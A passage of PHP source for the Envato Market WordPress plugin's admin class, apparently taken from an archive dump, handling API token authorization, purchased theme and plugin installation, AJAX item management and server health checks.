@since 1.0.0 */ public function upgrade_strings() { parent::upgrade_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market upgrade package…', 'envato-market' ); } /** * Initialize the install strings. * * @since 1.0.0 */ public function install_strings() { parent::install_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market install package…', 'envato-market' ); } } endif; class-envato-market-admin.php000064400000162261147207143700012240 0ustar00init_actions(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market_Admin::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the hooks, actions and filters. * * @uses add_action() To add actions. * @uses add_filter() To add filters. * * @since 1.0.0 */ public function init_actions() { // @codeCoverageIgnoreStart if ( false === envato_market()->get_data( 'admin' ) && false === envato_market()->get_option( 'is_plugin_active' ) ) { // Turns the UI off if allowed. return; } // @codeCoverageIgnoreEnd // Deferred Download. add_action( 'upgrader_package_options', array( $this, 'maybe_deferred_download' ), 9 ); // Add pre download filter to help with 3rd party plugin integration. add_filter( 'upgrader_pre_download', array( $this, 'upgrader_pre_download' ), 2, 4 ); // Add item AJAX handler. add_action( 'wp_ajax_' . self::AJAX_ACTION . '_add_item', array( $this, 'ajax_add_item' ) ); // Remove item AJAX handler. add_action( 'wp_ajax_' . self::AJAX_ACTION . '_remove_item', array( $this, 'ajax_remove_item' ) ); // Health check AJAX handler add_action( 'wp_ajax_' . self::AJAX_ACTION . '_healthcheck', array( $this, 'ajax_healthcheck' ) ); // Maybe delete the site transients. add_action( 'init', array( $this, 'maybe_delete_transients' ), 11 ); // Add the menu. add_action( 'admin_menu', array( $this, 'add_menu_page' ) ); // Register the settings. add_action( 'admin_init', array( $this, 'register_settings' ) ); // We may need to redirect after an item is enabled. add_action( 'current_screen', array( $this, 'maybe_redirect' ) ); // Add authorization notices. add_action( 'current_screen', array( $this, 'add_notices' ) ); // Set the API values. add_action( 'current_screen', array( $this, 'set_items' ) ); // Hook to verify the API token before saving it. add_filter( 'pre_update_option_' . envato_market()->get_option_name(), array( $this, 'check_api_token_before_saving', ), 9, 3 ); add_filter( 'pre_update_site_option_' . envato_market()->get_option_name(), array( $this, 'check_api_token_before_saving', ), 9, 3 ); // When network enabled, add the network options menu. add_action( 'network_admin_menu', array( $this, 'add_menu_page' ) ); // Ability to make use of the Settings API when in multisite mode. add_action( 'network_admin_edit_envato_market_network_settings', array( $this, 'save_network_settings' ) ); } /** * This runs before we save the Envato Market options array. * If the token has changed then we set a transient so we can do the update check. * * @param array $value The option to save. * @param array $old_value The old option value. * @param array $option Serialized option value. * * @return array $value The updated option value. * @since 2.0.1 */ public function check_api_token_before_saving( $value, $old_value, $option ) { if ( ! empty( $value['token'] ) && ( empty( $old_value['token'] ) || $old_value['token'] != $value['token'] || isset( $_POST['envato_market'] ) ) ) { set_site_transient( envato_market()->get_option_name() . '_check_token', $value['token'], HOUR_IN_SECONDS ); } return $value; } /** * Defers building the API download url until the last responsible moment to limit file requests. * * Filter the package options before running an update. * * @param array $options { * Options used by the upgrader. * * @type string $package Package for update. * @type string $destination Update location. * @type bool $clear_destination Clear the destination resource. * @type bool $clear_working Clear the working resource. * @type bool $abort_if_destination_exists Abort if the Destination directory exists. * @type bool $is_multi Whether the upgrader is running multiple times. * @type array $hook_extra Extra hook arguments. * } * @since 1.0.0 */ public function maybe_deferred_download( $options ) { $package = $options['package']; if ( false !== strrpos( $package, 'deferred_download' ) && false !== strrpos( $package, 'item_id' ) ) { parse_str( parse_url( $package, PHP_URL_QUERY ), $vars ); if ( $vars['item_id'] ) { $args = $this->set_bearer_args( $vars['item_id'] ); $options['package'] = envato_market()->api()->download( $vars['item_id'], $args ); } } return $options; } /** * We want to stop certain popular 3rd party scripts from blocking the update process by * adjusting the plugin name slightly so the 3rd party plugin checks stop. * * Currently works for: Visual Composer. * * @param string $reply Package URL. * @param string $package Package URL. * @param object $updater Updater Object. * * @return string $reply New Package URL. * @since 2.0.0 */ public function upgrader_pre_download( $reply, $package, $updater ) { if ( strpos( $package, 'marketplace.envato.com/short-dl' ) !== false ) { if ( isset( $updater->skin->plugin_info ) && ! empty( $updater->skin->plugin_info['Name'] ) ) { $updater->skin->plugin_info['Name'] = $updater->skin->plugin_info['Name'] . '.'; } else { $updater->skin->plugin_info = array( 'Name' => 'Name', ); } } return $reply; } /** * Returns the bearer arguments for a request with a single use API Token. * * @param int $id The item ID. * * @return array * @since 1.0.0 */ public function set_bearer_args( $id ) { $token = ''; $args = array(); foreach ( envato_market()->get_option( 'items', array() ) as $item ) { if ( absint( $item['id'] ) === absint( $id ) ) { $token = $item['token']; break; } } if ( ! empty( $token ) ) { $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $token, ), ); } return $args; } /** * Maybe delete the site transients. * * @since 1.0.0 * @codeCoverageIgnore */ public function maybe_delete_transients() { if ( isset( $_POST[ envato_market()->get_option_name() ] ) ) { // Nonce check. if ( isset( $_POST['_wpnonce'] ) && ! wp_verify_nonce( $_POST['_wpnonce'], envato_market()->get_slug() . '-options' ) ) { wp_die( __( 'You do not have sufficient permissions to delete transients.', 'envato-market' ) ); } self::delete_transients(); } elseif ( ! envato_market()->get_option( 'installed_version', 0 ) || version_compare( envato_market()->get_version(), envato_market()->get_option( 'installed_version', 0 ), '<' ) ) { // When the plugin updates we want to delete transients. envato_market()->set_option( 'installed_version', envato_market()->get_version() ); self::delete_transients(); } } /** * Delete the site transients. * * @since 1.0.0 * @access private */ private function delete_transients() { delete_site_transient( envato_market()->get_option_name() . '_themes' ); delete_site_transient( envato_market()->get_option_name() . '_plugins' ); } /** * Prints out all settings sections added to a particular settings page in columns. * * @param string $page The slug name of the page whos settings sections you want to output. * @param int $columns The number of columns in each row. * * @since 1.0.0 * * @global array $wp_settings_sections Storage array of all settings sections added to admin pages * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections */ public static function do_settings_sections( $page, $columns = 2 ) { global $wp_settings_sections, $wp_settings_fields; // @codeCoverageIgnoreStart if ( ! isset( $wp_settings_sections[ $page ] ) ) { return; } // @codeCoverageIgnoreEnd foreach ( (array) $wp_settings_sections[ $page ] as $section ) { // @codeCoverageIgnoreStart if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) { continue; } // @codeCoverageIgnoreEnd // Set the column class. $class = 'envato-market-block'; ?>
    ' . esc_html( $section['title'] ) . '' . "\n"; } if ( ! empty( $section['callback'] ) ) { call_user_func( $section['callback'], $section ); } ?>
    '; $page = add_menu_page( __( 'Envato Market', 'envato-market' ), __( 'Envato Market', 'envato-market' ), 'manage_options', envato_market()->get_slug(), array( $this, 'render_admin_callback', ), 'data:image/svg+xml;base64,' . base64_encode($svg_icon) ); // Enqueue admin CSS. add_action( 'admin_print_styles-' . $page, array( $this, 'admin_enqueue_style' ) ); // Enqueue admin JavaScript. add_action( 'admin_print_scripts-' . $page, array( $this, 'admin_enqueue_script' ) ); // Add Underscore.js templates. add_action( 'admin_footer-' . $page, array( $this, 'render_templates' ) ); } /** * Enqueue admin css. * * @since 1.0.0 */ public function admin_enqueue_style() { $file_url = envato_market()->get_plugin_url() . 'css/envato-market' . ( is_rtl() ? '-rtl' : '' ) . '.css'; wp_enqueue_style( envato_market()->get_slug(), $file_url, array( 'wp-jquery-ui-dialog' ), envato_market()->get_version() ); } /** * Enqueue admin script. * * @since 1.0.0 */ public function admin_enqueue_script() { $min = ( WP_DEBUG ? '' : '.min' ); $slug = envato_market()->get_slug(); $version = envato_market()->get_version(); $plugin_url = envato_market()->get_plugin_url(); wp_enqueue_script( $slug, $plugin_url . 'js/envato-market' . $min . '.js', array( 'jquery', 'jquery-ui-dialog', 'wp-util', ), $version, true ); wp_enqueue_script( $slug . '-updates', $plugin_url . 'js/updates' . $min . '.js', array( 'jquery', 'updates', 'wp-a11y', 'wp-util', ), $version, true ); // Script data array. $exports = array( 'nonce' => wp_create_nonce( self::AJAX_ACTION ), 'action' => self::AJAX_ACTION, 'i18n' => array( 'save' => __( 'Save', 'envato-market' ), 'remove' => __( 'Remove', 'envato-market' ), 'cancel' => __( 'Cancel', 'envato-market' ), 'error' => __( 'An unknown error occurred. Try again.', 'envato-market' ), ), ); // Export data to JS. wp_scripts()->add_data( $slug, 'data', sprintf( 'var _envatoMarket = %s;', wp_json_encode( $exports ) ) ); } /** * Underscore (JS) templates for dialog windows. * * @codeCoverageIgnore */ public function render_templates() { ?> get_slug(), envato_market()->get_option_name() ); // OAuth section. add_settings_section( envato_market()->get_option_name() . '_oauth_section', __( 'Getting Started (Simple)', 'envato-market' ), array( $this, 'render_oauth_section_callback' ), envato_market()->get_slug() ); // Token setting. add_settings_field( 'token', __( 'Token', 'envato-market' ), array( $this, 'render_token_setting_callback' ), envato_market()->get_slug(), envato_market()->get_option_name() . '_oauth_section' ); // Items section. add_settings_section( envato_market()->get_option_name() . '_items_section', __( 'Single Item Tokens (Advanced)', 'envato-market' ), array( $this, 'render_items_section_callback' ), envato_market()->get_slug() ); // Items setting. add_settings_field( 'items', __( 'Envato Market Items', 'envato-market' ), array( $this, 'render_items_setting_callback' ), envato_market()->get_slug(), envato_market()->get_option_name() . '_items_section' ); } /** * Redirect after the enable action runs. * * @since 1.0.0 * @codeCoverageIgnore */ public function maybe_redirect() { if ( $this->are_we_on_settings_page() ) { if ( ! empty( $_GET['action'] ) && 'install-theme' === $_GET['action'] && ! empty( $_GET['enabled'] ) ) { wp_safe_redirect( esc_url( envato_market()->get_page_url() ) ); exit; } } } /** * Add authorization notices. * * @since 1.0.0 */ public function add_notices() { if ( $this->are_we_on_settings_page() ) { // @codeCoverageIgnoreStart if ( get_site_transient( envato_market()->get_option_name() . '_check_token' ) || ( isset( $_GET['authorization'] ) && 'check' === $_GET['authorization'] ) ) { delete_site_transient( envato_market()->get_option_name() . '_check_token' ); self::authorization_redirect(); } // @codeCoverageIgnoreEnd // Get the option array. $option = envato_market()->get_options(); // Display success/error notices. if ( ! empty( $option['notices'] ) ) { self::delete_transients(); // Show succes notice. if ( isset( $option['notices']['success'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_notice', ) ); } // Show succes no-items notice. if ( isset( $option['notices']['success-no-items'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_no_items_notice', ) ); } // Show single-use succes notice. if ( isset( $option['notices']['success-single-use'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_single_use_notice', ) ); } // Show error notice. if ( isset( $option['notices']['error'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_notice', ) ); } // Show invalid permissions error notice. if ( isset( $option['notices']['error-permissions'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_permissions', ) ); } // Show single-use error notice. if ( isset( $option['notices']['error-single-use'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_single_use_notice', ) ); } // Show missing zip notice. if ( isset( $option['notices']['missing-package-zip'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_missing_zip', ) ); } // Show missing http connection error. if ( isset( $option['notices']['http_error'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_http', ) ); } // Update the saved data so the notice disappears on the next page load. unset( $option['notices'] ); envato_market()->set_options( $option ); } } } /** * Set the API values. * * @since 1.0.0 */ public function set_items() { if ( $this->are_we_on_settings_page() ) { envato_market()->items()->set_themes(); envato_market()->items()->set_plugins(); } } /** * Check if we're on the settings page. * * @since 2.0.0 * @access private */ private function are_we_on_settings_page() { return 'toplevel_page_' . envato_market()->get_slug() === get_current_screen()->id || 'toplevel_page_' . envato_market()->get_slug() . '-network' === get_current_screen()->id; } /** * Check for authorization and redirect. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function authorization_redirect() { self::authorization(); wp_safe_redirect( esc_url( envato_market()->get_page_url() . '#settings' ) ); exit; } /** * Set the Envato API authorization value. * * @since 1.0.0 */ public function authorization() { // Get the option array. $option = envato_market()->get_options(); $option['notices'] = array(); // Check for global token. if ( envato_market()->get_option( 'token' ) || envato_market()->api()->token ) { $notice = 'success'; $scope_check = $this->authorize_token_permissions(); if ( 'http_error' === $scope_check ) { $notice = 'http_error'; } elseif ( 'error' === $this->authorize_total_items() || 'error' === $scope_check ) { $notice = 'error'; } else { if ( 'missing-permissions' == $scope_check ) { $notice = 'error-permissions'; } elseif ( 'too-many-permissions' === $scope_check ) { $notice = 'error-permissions'; } else { $themes_notice = $this->authorize_themes(); $plugins_notice = $this->authorize_plugins(); if ( 'error' === $themes_notice || 'error' === $plugins_notice ) { $notice = 'error'; } elseif ( 'success-no-themes' === $themes_notice && 'success-no-plugins' === $plugins_notice ) { $notice = 'success-no-items'; } } } $option['notices'][ $notice ] = true; } // Check for single-use token. if ( ! empty( $option['items'] ) ) { $failed = false; foreach ( $option['items'] as $key => $item ) { if ( empty( $item['name'] ) || empty( $item['token'] ) || empty( $item['id'] ) || empty( $item['type'] ) || empty( $item['authorized'] ) ) { continue; } $request_args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $item['token'], ), ); // Uncached API response with single-use token. $response = envato_market()->api()->item( $item['id'], $request_args ); if ( ! is_wp_error( $response ) && isset( $response['id'] ) ) { $option['items'][ $key ]['authorized'] = 'success'; } else { if ( is_wp_error( $response ) ) { $this->store_additional_error_debug_information( 'Unable to query single item ID ' . $item['id'], $response->get_error_message(), $response->get_error_data() ); } $failed = true; $option['items'][ $key ]['authorized'] = 'failed'; } } if ( true === $failed ) { $option['notices']['error-single-use'] = true; } else { $option['notices']['success-single-use'] = true; } } // Set the option array. if ( ! empty( $option['notices'] ) ) { envato_market()->set_options( $option ); } } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_total_items() { $domain = envato_market()->get_envato_api_domain(); $path = envato_market()->api()->api_path_for('total-items'); $url = $domain . $path; $response = envato_market()->api()->request( $url ); $notice = 'success'; if ( is_wp_error( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Failed to query total number of items in API response', $response->get_error_message(), $response->get_error_data() ); } elseif ( ! isset( $response['total-items'] ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Incorrect response from API when querying total items' ); } return $notice; } /** * Get the required API permissions for this plugin to work. * * @single 2.0.1 * * @return array */ public function get_required_permissions() { return apply_filters( 'envato_market_required_permissions', array( 'default' => 'View and search Envato sites', 'purchase:download' => 'Download your purchased items', 'purchase:list' => 'List purchases you\'ve made', ) ); } /** * Return the URL a user needs to click to generate a personal token. * * @single 2.0.1 * * @return string The full URL to request a token. */ public function get_generate_token_url() { return 'https://build.envato.com/create-token/?' . implode( '&', array_map( function ( $val ) { return $val . '=t'; }, array_keys( $this->get_required_permissions() ) ) ); } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_token_permissions() { if ( defined('ENVATO_LOCAL_DEVELOPMENT') ) { return 'success'; } $notice = 'success'; $response = envato_market()->api()->request( 'https://api.envato.com/whoami' ); if ( is_wp_error( $response ) && ( $response->get_error_code() === 'http_error' || $response->get_error_code() == 500 ) ) { $this->store_additional_error_debug_information( 'An error occured checking token permissions', $response->get_error_message(), $response->get_error_data() ); $notice = 'http_error'; } elseif ( is_wp_error( $response ) || ! isset( $response['scopes'] ) || ! is_array( $response['scopes'] ) ) { $this->store_additional_error_debug_information( 'No scopes found in API response message', $response->get_error_message(), $response->get_error_data() ); $notice = 'error'; } else { $minimum_scopes = $this->get_required_permissions(); $maximum_scopes = array( 'default' => 'Default' ) + $minimum_scopes; foreach ( $minimum_scopes as $required_scope => $required_scope_name ) { if ( ! in_array( $required_scope, $response['scopes'] ) ) { // The scope minimum required scope doesn't exist. $this->store_additional_error_debug_information( 'Could not find required API permission scope in output.', $required_scope ); $notice = 'missing-permissions'; } } foreach ( $response['scopes'] as $scope ) { if ( ! isset( $maximum_scopes[ $scope ] ) ) { // The available scope is outside our maximum bounds. $this->store_additional_error_debug_information( 'Found too many permissions on token.', $scope ); $notice = 'too-many-permissions'; } } } return $notice; } /** * Check that themes or plugins are authorized and downloadable. * * @param string $type The filter type, either 'themes' or 'plugins'. Default 'themes'. * * @return bool|null * @since 1.0.0 */ public function authorize_items( $type = 'themes' ) { $domain = envato_market()->get_envato_api_domain(); $path = envato_market()->api()->api_path_for('list-purchases'); $api_url = $domain . $path . '?filter_by=wordpress-' . $type; $response = envato_market()->api()->request( $api_url ); $notice = 'success'; if ( is_wp_error( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Error listing buyer purchases.', $response->get_error_message(), $response->get_error_data() ); } elseif ( empty( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Empty API result listing buyer purchases' ); } elseif ( empty( $response['results'] ) ) { $notice = 'success-no-' . $type; } else { shuffle( $response['results'] ); $item = array_shift( $response['results'] ); if ( ! isset( $item['item']['id'] ) || ! envato_market()->api()->download( $item['item']['id'] ) ) { $this->store_additional_error_debug_information( 'Failed to find the correct item format in API response' ); $notice = 'error'; } } return $notice; } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_themes() { return $this->authorize_items( 'themes' ); } /** * Check that plugins are authorized. * * @return bool * @since 1.0.0 */ public function authorize_plugins() { return $this->authorize_items( 'plugins' ); } /** * Install plugin. * * @param string $plugin The plugin item ID. * * @since 1.0.0 * @codeCoverageIgnore */ public function install_plugin( $plugin ) { if ( ! current_user_can( 'install_plugins' ) ) { $msg = '

    ' . __( 'Installing Plugin...', 'envato-market' ) . '

    ' . __( 'You do not have sufficient permissions to install plugins on this site.', 'envato-market' ) . '

    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
    '; wp_die( $msg ); } check_admin_referer( 'install-plugin_' . $plugin ); envato_market()->items()->set_plugins( true ); $install = envato_market()->items()->plugins( 'install' ); $api = new stdClass(); foreach ( $install as $value ) { if ( absint( $value['id'] ) === absint( $plugin ) ) { $api->name = $value['name']; $api->version = $value['version']; } } $array_api = (array) $api; if ( empty( $array_api ) ) { $msg = '

    ' . __( 'Installing Plugin...', 'envato-market' ) . '

    ' . __( 'An error occurred, please check that the item ID is correct.', 'envato-market' ) . '

    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
    '; wp_die( $msg ); } $title = sprintf( __( 'Installing Plugin: %s', 'envato-market' ), esc_html( $api->name . ' ' . $api->version ) ); $nonce = 'install-plugin_' . $plugin; $url = 'admin.php?page=' . envato_market()->get_slug() . '&action=install-plugin&plugin=' . urlencode( $plugin ); $type = 'web'; // Install plugin type, From Web or an Upload. $api->download_link = envato_market()->api()->download( $plugin, $this->set_bearer_args( $plugin ) ); // Must have the upgrader & skin. require envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-upgrader.php'; require envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-installer-skin.php'; $upgrader = new Envato_Market_Plugin_Upgrader( new Envato_Market_Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); } /** * Install theme. * * @param string $theme The theme item ID. * * @since 1.0.0 * @codeCoverageIgnore */ public function install_theme( $theme ) { if ( ! current_user_can( 'install_themes' ) ) { $msg = '

    ' . __( 'Installing Theme...', 'envato-market' ) . '

    ' . __( 'You do not have sufficient permissions to install themes on this site.', 'envato-market' ) . '

    ' . __( 'Return to Theme Installer', 'envato-market' ) . '
    '; wp_die( $msg ); } check_admin_referer( 'install-theme_' . $theme ); envato_market()->items()->set_themes( true ); $install = envato_market()->items()->themes( 'install' ); $api = new stdClass(); foreach ( $install as $value ) { if ( absint( $value['id'] ) === absint( $theme ) ) { $api->name = $value['name']; $api->version = $value['version']; } } $array_api = (array) $api; if ( empty( $array_api ) ) { $msg = '

    ' . __( 'Installing Theme...', 'envato-market' ) . '

    ' . __( 'An error occurred, please check that the item ID is correct.', 'envato-market' ) . '

    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
    '; wp_die( $msg ); } wp_enqueue_script( 'customize-loader' ); $title = sprintf( __( 'Installing Theme: %s', 'envato-market' ), esc_html( $api->name . ' ' . $api->version ) ); $nonce = 'install-theme_' . $theme; $url = 'admin.php?page=' . envato_market()->get_slug() . '&action=install-theme&theme=' . urlencode( $theme ); $type = 'web'; // Install theme type, From Web or an Upload. $api->download_link = envato_market()->api()->download( $theme, $this->set_bearer_args( $theme ) ); // Must have the upgrader & skin. require_once envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-upgrader.php'; require_once envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-installer-skin.php'; $upgrader = new Envato_Market_Theme_Upgrader( new Envato_Market_Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'api' ) ) ); $upgrader->install( $api->download_link ); } /** * AJAX handler for adding items that use a non global token. * * @since 1.0.0 * @codeCoverageIgnore */ public function ajax_add_item() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( empty( $_POST['token'] ) ) { wp_send_json_error( array( 'message' => __( 'The Token is missing.', 'envato-market' ) ) ); } elseif ( empty( $_POST['id'] ) ) { wp_send_json_error( array( 'message' => __( 'The Item ID is missing.', 'envato-market' ) ) ); } elseif ( ! current_user_can( 'install_themes' ) || ! current_user_can( 'install_plugins' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to install items.', 'envato-market' ) ) ); } $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $_POST['token'], ), ); $request = envato_market()->api()->item( $_POST['id'], $args ); if ( false === $request ) { wp_send_json_error( array( 'message' => __( 'The Token or Item ID is incorrect.', 'envato-market' ) ) ); } if ( false === envato_market()->api()->download( $_POST['id'], $args ) ) { wp_send_json_error( array( 'message' => __( 'The item cannot be downloaded.', 'envato-market' ) ) ); } if ( isset( $request['number_of_sales'] ) ) { $type = 'plugin'; } else { $type = 'theme'; } if ( isset( $type ) ) { $response = array( 'name' => $request['name'], 'token' => $_POST['token'], 'id' => $_POST['id'], 'type' => $type, 'authorized' => 'success', ); $options = get_option( envato_market()->get_option_name(), array() ); if ( ! empty( $options['items'] ) ) { $options['items'] = array_values( $options['items'] ); $key = count( $options['items'] ); } else { $options['items'] = array(); $key = 0; } $options['items'][] = $response; envato_market()->set_options( $options ); // Rebuild the theme cache. if ( 'theme' === $type ) { envato_market()->items()->set_themes( true, false ); $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-theme', 'id' => $_POST['id'], ), self_admin_url( 'admin.php' ) ); $request['install'] = wp_nonce_url( $install_link, 'install-theme_' . $_POST['id'] ); } // Rebuild the plugin cache. if ( 'plugin' === $type ) { envato_market()->items()->set_plugins( true, false ); $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-plugin', 'id' => $_POST['id'], ), self_admin_url( 'admin.php' ) ); $request['install'] = wp_nonce_url( $install_link, 'install-plugin_' . $_POST['id'] ); } $response['key'] = $key; $response['item'] = $request; wp_send_json_success( $response ); } wp_send_json_error( array( 'message' => __( 'An unknown error occurred.', 'envato-market' ) ) ); } /** * AJAX handler for removing items that use a non global token. * * @since 1.0.0 * @codeCoverageIgnore */ public function ajax_remove_item() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( empty( $_POST['id'] ) ) { wp_send_json_error( array( 'message' => __( 'The Item ID is missing.', 'envato-market' ) ) ); } elseif ( ! current_user_can( 'delete_plugins' ) || ! current_user_can( 'delete_themes' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to update items.', 'envato-market' ) ) ); } $options = get_option( envato_market()->get_option_name(), array() ); $type = ''; foreach ( $options['items'] as $key => $item ) { if ( $item['id'] === $_POST['id'] ) { $type = $item['type']; unset( $options['items'][ $key ] ); break; } } $options['items'] = array_values( $options['items'] ); envato_market()->set_options( $options ); // Rebuild the theme cache. if ( 'theme' === $type ) { envato_market()->items()->set_themes( true, false ); } // Rebuild the plugin cache. if ( 'plugin' === $type ) { envato_market()->items()->set_plugins( true, false ); } wp_send_json_success(); } /** * AJAX handler for performing a healthcheck of the current website. * * @since 2.0.6 * @codeCoverageIgnore */ public function ajax_healthcheck() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( ! current_user_can( 'install_themes' ) || ! current_user_can( 'install_plugins' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to install items.', 'envato-market' ) ) ); } $limits = $this->get_server_limits(); wp_send_json_success( array( 'limits' => $limits ) ); } /** * AJAX handler for performing a healthcheck of the current website. * * @since 2.0.6 * @codeCoverageIgnore */ public function get_server_limits() { $limits = []; // Check memory limit is > 256 M try { $memory_limit = wp_convert_hr_to_bytes( ini_get( 'memory_limit' ) ); $memory_limit_desired = 256; $memory_limit_ok = $memory_limit < 0 || $memory_limit >= $memory_limit_desired * 1024 * 1024; $memory_limit_in_mb = $memory_limit < 0 ? 'Unlimited' : floor( $memory_limit / ( 1024 * 1024 ) ) . 'M'; $limits['memory_limit'] = [ 'title' => 'PHP Memory Limit', 'ok' => $memory_limit_ok, 'message' => $memory_limit_ok ? "is ok at {$memory_limit_in_mb}." : "{$memory_limit_in_mb} may be too small. If you are having issues please set your PHP memory limit to at least 256M - or ask your hosting provider to do this if you're unsure." ]; } catch ( \Exception $e ) { $limits['memory_limit'] = [ 'title' => 'PHP Memory Limit', 'ok' => false, 'message' => 'Failed to check memory limit. If you are having issues please ask hosting provider to raise the memory limit for you.' ]; } // Check upload size. try { $upload_size_desired = 80; $upload_max_filesize = wp_max_upload_size(); $upload_max_filesize_ok = $upload_max_filesize < 0 || $upload_max_filesize >= $upload_size_desired * 1024 * 1024; $upload_max_filesize_in_mb = $upload_max_filesize < 0 ? 'Unlimited' : floor( $upload_max_filesize / ( 1024 * 1024 ) ) . 'M'; $limits['upload'] = [ 'ok' => $upload_max_filesize_ok, 'title' => 'PHP Upload Limits', 'message' => $upload_max_filesize_ok ? "is ok at $upload_max_filesize_in_mb." : "$upload_max_filesize_in_mb may be too small. If you are having issues please set your PHP upload limits to at least {$upload_size_desired}M - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['upload'] = [ 'title' => 'PHP Upload Limits', 'ok' => false, 'message' => 'Failed to check upload limit. If you are having issues please ask hosting provider to raise the upload limit for you.' ]; } // Check max_input_vars. try { $max_input_vars = ini_get( 'max_input_vars' ); $max_input_vars_desired = 1000; $max_input_vars_ok = $max_input_vars < 0 || $max_input_vars >= $max_input_vars_desired; $limits['max_input_vars'] = [ 'ok' => $max_input_vars_ok, 'title' => 'PHP Max Input Vars', 'message' => $max_input_vars_ok ? "is ok at $max_input_vars." : "$max_input_vars may be too small. If you are having issues please set your PHP max input vars to at least $max_input_vars_desired - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['max_input_vars'] = [ 'title' => 'PHP Max Input Vars', 'ok' => false, 'message' => 'Failed to check input vars limit. If you are having issues please ask hosting provider to raise the input vars limit for you.' ]; } // Check max_execution_time. try { $max_execution_time = ini_get( 'max_execution_time' ); $max_execution_time_desired = 60; $max_execution_time_ok = $max_execution_time <= 0 || $max_execution_time >= $max_execution_time_desired; $limits['max_execution_time'] = [ 'ok' => $max_execution_time_ok, 'title' => 'PHP Execution Time', 'message' => $max_execution_time_ok ? "PHP execution time limit is ok at {$max_execution_time}." : "$max_execution_time is too small. Please set your PHP max execution time to at least $max_execution_time_desired - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['max_execution_time'] = [ 'title' => 'PHP Execution Time', 'ok' => false, 'message' => 'Failed to check PHP execution time limit. Please ask hosting provider to raise this limit for you.' ]; } // Check various hostname connectivity. $hosts_to_check = array( array( 'hostname' => 'envato.github.io', 'url' => 'https://envato.github.io/wp-envato-market/dist/update-check.json', 'title' => 'Plugin Update API', ), array( 'hostname' => 'api.envato.com', 'url' => 'https://api.envato.com/ping', 'title' => 'Envato Market API', ), array( 'hostname' => 'marketplace.envato.com', 'url' => 'https://marketplace.envato.com/robots.txt', 'title' => 'Download API', ), ); foreach ( $hosts_to_check as $host ) { try { $response = wp_remote_get( $host['url'], [ 'user-agent' => 'WordPress - Envato Market ' . 